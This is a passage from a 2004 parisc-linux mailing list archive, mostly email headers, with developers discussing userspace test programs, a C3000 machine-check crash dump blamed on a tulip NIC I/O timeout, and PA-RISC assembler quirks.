	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21867


list,

What happens when you run these tests, as non-root, on your box?

http://cvs.parisc-linux.org/userspace/test-lws
http://cvs.parisc-linux.org/userspace/test-probe

Check out the above tests, make should build the test then just run the
single resulting executable and send back the results.

You run the tests at your own risk, they shouldn't damage your box, but
please tell me what they do on your box, including the output of dmesg 
(e.g. dmesg -c; <Run test>; dmesg >& email.txt; ) after running the
test.

Cheers,
Carlos.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] C3000 HPMC with high NFS traffic. 99% it's ASTRO's
	fault?
Date: Fri, 13 Aug 2004 10:55:58 -0400
Lines: 107
Approved: news@gmane.org
Message-ID: <20040813145557.GB31035@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623519 10442 80.91.229.3 (22 Nov 2014 02:31:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:59 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 25711 invoked by uid 65534); 13 Aug 2004 14:57:14 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx050) with SMTP; 13 Aug 2004 16:57:14 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 2DEC43BDCA; Fri, 13 Aug 2004 08:57:00 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26453-02; Fri, 13 Aug 2004 08:56:54 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 6BB9A3BDD6; Fri, 13 Aug 2004 08:56:11 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 090233BD31
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 13 Aug 2004 08:56:03 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 26184-04 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 13 Aug 2004 08:56:03 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id A18B33BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 13 Aug 2004 08:56:02 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1BvdTK-0001Ik-00 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 13 Aug 2004 10:55:58 -0400
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (37% Sync Ratio [====......])
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21868


pa,

Thoughts?

kernel BUG at kernel/printk.c:590!
Backtrace:
 [<10129bac>] acquire_console_sem+0x2c/0x88
 [<1012a134>] unregister_console+0x18/0x88
 [<101168e8>] pdc_console_restart+0x4c/0x68
 [<10108d10>] handle_interruption+0x30/0x560
 [<10110088>] intr_check_sig+0x0/0xc

kernel BUG at kernel/printk.c:590!
Backtrace:
 [<10129bac>] acquire_console_sem+0x2c/0x88
 [<1012a134>] unregister_console+0x18/0x88
 [<101168e8>] pdc_console_restart+0x4c/0x68
 [<10108d10>] handle_interruption+0x30/0x560
 [<10110088>] intr_check_sig+0x0/0xc

kernel BUG at kernel/printk.c:590!
Backtrace:
 [<10129bac>] acquire_console_sem+0x2c/0x88
 [<10129fb0>] register_console+0xa8/0x214
 [<10108d10>] handle_interruption+0x30/0x560
 [<10110088>] intr_check_sig+0x0/0xc

Backtrace:
 [<10108c8c>] parisc_terminate+0x60/0xb4
 [<10108e24>] handle_interruption+0x144/0x560
 [<10110088>] intr_check_sig+0x0/0xc

High Priority Machine Check (HPMC): Code=1 regs=103b1080
(Addr=00000000)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111000001110 Not tainted
r00-03  00000000 104a6010 10117f5c 4fdee220
r04-07  4fdee2a8 00000011 37861900 4fdee000
r08-11  00000000 4da3e060 4da3e19c 00000000
r12-15  000005a8 00073748 00000040 00000000
r16-19  00000070 3f1042cc 00000000 fed30000
r20-23  00000000 4fdf3910 10230470 00000080
r24-27  00000000 fee01008 4ffb6a40 103ae010
r28-31  5e601f03 00000000 3f1047c0 10117f5c
sr0-3   00000000 00000000 00000000 00000059
sr4-7   00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 10230498 1023049c
 IIR: 0e600193    ISR: a627fffb  IOR: 4c130000
 CPU:        0   CR30: 3f104000 CR31: 10444000
 ORIG_R28: 00000000
 IAOQ[0]: lba_astro_out32+0x28/0x38
 IAOQ[1]: lba_astro_out32+0x2c/0x38
 RP(r2): outl+0x5c/0x78
---

CVS head, 32-bit kernel, 2.6.8-rc2-pa7.

processor       : 0
cpu family      : PA-RISC 2.0
cpu             : PA8500 (PCX-W)
cpu MHz         : 400.000000
model           : 9000/785/C3000
model name      : AllegroHigh W
hversion        : 0x00005bb0
sversion        : 0x00000481
I-cache         : 512 KB
D-cache         : 1024 KB (WB, 0-way associative)
ITLB entries    : 160
DTLB entries    : 160 - shared with ITLB
BTLB            : not supported
bogomips        : 799.53
software id     : 2011698862

Searching for devices...
Found devices:
1. Astro BC Runway Port at 0xfed00000 [10] { 12, 0x0, 0x582, 0x0000b }
2. Elroy PCI Bridge at 0xfed30000 [10/0] { 13, 0x0, 0x782, 0x0000a }
3. Elroy PCI Bridge at 0xfed32000 [10/1] { 13, 0x0, 0x782, 0x0000a }
4. Elroy PCI Bridge at 0xfed38000 [10/4] { 13, 0x0, 0x782, 0x0000a }
5. Elroy PCI Bridge at 0xfed3c000 [10/6] { 13, 0x0, 0x782, 0x0000a }
6. AllegroHigh W at 0xfffa0000 [32] { 0, 0x0, 0x5bb, 0x00004 }
7. Memory at 0xfed10200 [49] { 1, 0x0, 0x086, 0x00009 }
CPU(s): 1 x PA8500 (PCX-W) at 400.000000 MHz
SBA found Astro 2.1 at 0xfed00000
lba version TR2.1 (0x2) found at 0xfed30000
WARNING: Ignoring enabled ELMMIO BASE 0xf8000000  SIZE 0xfc000000
PCI: Enabled native mode for NS87415 (pif=0x8f)
lba version TR2.1 (0x2) found at 0xfed32000
WARNING: Ignoring enabled ELMMIO BASE 0xf8000000  SIZE 0xfc000000
lba version TR2.1 (0x2) found at 0xfed38000
WARNING: Ignoring enabled ELMMIO BASE 0xf8000000  SIZE 0xfc000000
iosapic: hpa not registered for 0000:02:03.0
lba version TR2.1 (0x2) found at 0xfed3c000
WARNING: Ignoring enabled ELMMIO BASE 0xf8000000  SIZE 0xfc000000
iosapic: hpa not registered for 0000:03:02.0

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Should I read SHR[DW] as SHRP[DW] in parisc2.p
Date: Fri, 13 Aug 2004 11:20:38 -0400 (EDT)
Lines: 16
Approved: news@gmane.org
Message-ID: <200408131520.i7DFKckH017219@hiauly1.hia.nrc.ca>
References: <200408121433.15444.mszick@goquest.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623519 10444 80.91.229.3 (22 Nov 2014 02:31:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:59 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: mszick@goquest.com (Michael S. Zick)
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 13125 invoked by uid 65534); 13 Aug 2004 15:45:59 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx032) with SMTP; 13 Aug 2004 17:45:59 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 6E7213BDF2; Fri, 13 Aug 2004 09:45:28 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27110-03; Fri, 13 Aug 2004 09:45:27 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 523263BDF4; Fri, 13 Aug 2004 09:45:00 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7A5BC3BDEA
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 13 Aug 2004 09:44:56 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 27110-01 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 13 Aug 2004 09:44:55 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 7BBE63BDD6
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 13 Aug 2004 09:44:54 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	i7DFKd45017222; Fri, 13 Aug 2004 11:20:39 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id i7DFKckH017219;
	Fri, 13 Aug 2004 11:20:38 -0400 (EDT)
In-Reply-To: <200408121433.15444.mszick@goquest.com> from "Michael S. Zick" at
	Aug 12, 2004 03:33:15 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21869

> Time will show if gcc-inline assembly is that nice to we programmers.

The PA-RISC GNU assembler was never intended to be a general purpose
assembler.  Features that GCC doesn't use are probably not that well
tested ;)

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C3000 HPMC with high NFS traffic. 99% it's ASTRO's
Date: 13 Aug 2004 13:06:58 -0400
Lines: 23
Approved: news@gmane.org
Message-ID: <1092416823.2186.70.camel@mulgrave>
References: <200408131656.i7DGuWF19777@opus.allegro.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623520 10446 80.91.229.3 (22 Nov 2014 02:32:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:00 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: Stan Sieler <sieler@allegro.com>
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 29184 invoked by uid 65534); 13 Aug 2004 17:07:30 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx048) with SMTP; 13 Aug 2004 19:07:30 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 3A9893BDF4; Fri, 13 Aug 2004 11:07:22 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27976-01; Fri, 13 Aug 2004 11:07:21 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id EEFB53BDEA; Fri, 13 Aug 2004 11:07:10 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 829AE3BDD6
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 13 Aug 2004 11:07:06 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 27750-04 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 13 Aug 2004 11:07:05 -0600 (MDT)
Original-Received: from hancock.sc.steeleye.com (stat16.steeleye.com [209.192.50.48])
	by free.linux.hp.com (Postfix) with ESMTP id D6EC33BDCA
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 13 Aug 2004 11:07:04 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	i7DH73X02140; Fri, 13 Aug 2004 13:07:03 -0400
In-Reply-To: <200408131656.i7DGuWF19777@opus.allegro.com>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21870

On Fri, 2004-08-13 at 12:56, Stan Sieler wrote:
> If it helps, the instruction trapping appears to be:
>     LDWAX    0(0,19),19
> and r19 has fed30000 ... an I/O space address.

Actually that's the back end of a LBA I/O cycle generation (this is the
actual read that guarantees completion semantics---see lba_pci.c).  The
HPMC occurred because port 0x1008 timed out on an outl, I think.

That's tulip register CSR1 (i.e. the tulip driver was trying to force an
immediate transmit).  I assume this must be either because the tulip
failed to respond to the outl in time or because the Astro couldn't get
on the bus in time.

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Zick" <mszick@goquest.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Should I read SHR[DW] as SHRP[DW] in parisc2.p
Date: Fri, 13 Aug 2004 12:50:52 -0500
Lines: 33
Approved: news@gmane.org
Message-ID: <200408131250.52034.mszick@goquest.com>
References: <200408131520.i7DFKckH017219@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623520 10450 80.91.229.3 (22 Nov 2014 02:32:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:00 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 32717 invoked by uid 65534); 13 Aug 2004 19:00:48 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx019) with SMTP; 13 Aug 2004 21:00:48 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id E57A53BE1B; Fri, 13 Aug 2004 13:00:42 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28386-09; Fri, 13 Aug 2004 13:00:39 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 2A7693BDDB; Fri, 13 Aug 2004 13:00:07 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 136243BDCA
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 13 Aug 2004 13:00:00 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 28386-04 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 13 Aug 2004 13:00:00 -0600 (MDT)
Original-Received: from mail.goquest.com (unknown [64.217.178.7])
	by free.linux.hp.com (Postfix) with SMTP id 5D8C83BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 13 Aug 2004 12:59:59 -0600 (MDT)
Original-Received: (qmail 9229 invoked by uid 497); 13 Aug 2004 18:59:47 -0000
Original-Received: from mszick@goquest.com by mail.goquest.com by uid 502 with
	qmail-scanner-1.20st 
	(clamscan: 0.60. spamassassin: 2.55.  Clear:RC:1(12.18.108.24):. 
	Processed in 2.217773 secs); 13 Aug 2004 18:59:47 -0000
X-Qmail-Scanner-Mail-From: mszick@goquest.com via mail.goquest.com
X-Qmail-Scanner: 1.20st (Clear:RC:1(12.18.108.24):. Processed in 2.217773 secs)
Original-Received: from unknown (HELO 66-90-213-180.dyn.grandenetworks.net)
	(12.18.108.24)
	by mail.goquest.com with SMTP; 13 Aug 2004 18:59:44 -0000
User-Agent: KMail/1.6.2
In-Reply-To: <200408131520.i7DFKckH017219@hiauly1.hia.nrc.ca>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21871

On Fri August 13 2004 10:20, John David Anglin wrote:
> > Time will show if gcc-inline assembly is that nice to we programmers.
> 
> The PA-RISC GNU assembler was never intended to be a general purpose
> assembler.  Features that GCC doesn't use are probably not that well
> tested ;)
> 
That is what I meant - we are on a 'feature discovery' trip here.

I did cheat a bit - I studied the pa.md file - figured that if what I was
interested in wasn't there, I need to be careful about using it.

Also discovered that software integer divide uses a similar bit-finder
to what I have proposed in the past. (Immediate, magic number,
bit masks).

But I have had that proposal turned down often enough - 
Even though it can be written to avoid register stalls; works
run-time, register size independent; does not dirty a d-cache
line and returns the bit-mask for the found bit 
(or the input mask modified by the found bit)
in addition to the index without additional instructions.
Which makes it ideal for all of those 'find next bit' loops.

Mike

> Dave
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Zick" <mszick@goquest.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] uninline in bitops.c as ia64 or sparc64?
Date: Fri, 13 Aug 2004 13:15:49 -0500
Lines: 27
Approved: news@gmane.org
Message-ID: <200408131315.49038.mszick@goquest.com>
References: <40FB89640000B461@ocpmta2.freegates.net>
	<200408120859.28306.mszick@goquest.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623520 10452 80.91.229.3 (22 Nov 2014 02:32:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:00 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 22002 invoked by uid 65534); 13 Aug 2004 19:00:59 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx022) with SMTP; 13 Aug 2004 21:00:59 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 8D18F3BE24; Fri, 13 Aug 2004 13:00:54 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28864-03; Fri, 13 Aug 2004 13:00:54 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 33AFD3BE07; Fri, 13 Aug 2004 13:00:12 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9DE2C3BDCA
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 13 Aug 2004 13:00:03 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 28187-06 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 13 Aug 2004 13:00:02 -0600 (MDT)
Original-Received: from mail.goquest.com (unknown [64.217.178.7])
	by free.linux.hp.com (Postfix) with SMTP id 24C8F3BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 13 Aug 2004 13:00:02 -0600 (MDT)
Original-Received: (qmail 9380 invoked by uid 497); 13 Aug 2004 18:59:52 -0000
Original-Received: from mszick@goquest.com by mail.goquest.com by uid 502 with
	qmail-scanner-1.20st 
	(clamscan: 0.60. spamassassin: 2.55.  Clear:RC:1(12.18.108.24):. 
	Processed in 2.371094 secs); 13 Aug 2004 18:59:52 -0000
X-Qmail-Scanner-Mail-From: mszick@goquest.com via mail.goquest.com
